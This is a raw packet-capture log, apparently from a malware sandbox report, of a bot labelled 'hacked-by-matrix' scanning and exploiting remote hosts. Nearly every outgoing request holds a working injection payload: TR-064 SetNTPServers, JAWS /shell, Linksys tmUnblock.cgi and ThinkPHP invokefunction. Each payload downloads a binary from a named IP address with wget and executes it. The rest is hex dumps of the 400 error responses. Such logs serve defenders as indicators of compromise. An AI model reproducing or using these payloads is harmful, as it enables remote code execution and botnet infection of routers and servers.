Mar 21, 2024 05:23:19.814002991 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1580	192.168.2.13	45816	115.19.239.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.948868036 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1581	192.168.2.13	36284	201.213.210.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.212197065 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1582	192.168.2.13	59890	190.218.8.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.339332104 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:20.517965078 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:20 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1583	192.168.2.13	36300	201.213.210.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.463382959 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1584	192.168.2.13	41080	59.22.19.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.558520079 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1585	192.168.2.13	35442	172.64.128.40	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.651823044 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:20.927350044 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1586	192.168.2.13	53150	172.65.178.57	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.651870966 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1587	192.168.2.13	48104	172.75.216.64	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.678720951 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1588	192.168.2.13	60270	172.87.217.245	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:20.716264009 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:24.844238043 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:30.992224932 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:43.023353100 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1589	192.168.2.13	48820	88.151.32.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.092905045 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:21.260183096 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Thu, 21 Mar 2024 04:23:30 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1590	192.168.2.13	41026	88.214.58.80	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.094793081 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:21.264272928 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:21 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1591	192.168.2.13	58550	88.198.66.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.099961996 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:22.067362070 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:22.257278919 CET	503	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:22 GMT Server: Apache/2.4.38 (Debian) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 68 6f 70 2e 75 6c 6b 65 72 61 6d 69 6b 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at shop.ulkeramik.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1592	192.168.2.13	46208	115.19.239.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.133021116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1593	192.168.2.13	39448	34.160.172.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.257525921 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:21.547333956 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:21.635567904 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Thu, 21 Mar 2024 04:23:21 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1594	192.168.2.13	51920	52.2.150.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.262423038 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:21.776236057 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:22.384228945 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1595	192.168.2.13	36564	44.198.48.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.262614012 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:21.565466881 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:21.659384966 CET	134	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1596	192.168.2.13	59926	190.218.8.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.339405060 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:22.257265091 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:22.434931040 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:22 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1597	192.168.2.13	56550	89.212.238.185	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.368324041 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:25.613615036 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:25.799635887 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:25 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1598	192.168.2.13	41878	172.66.214.62	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.641530991 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:22.124241114 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1599	192.168.2.13	40718	172.66.200.62	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.641554117 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
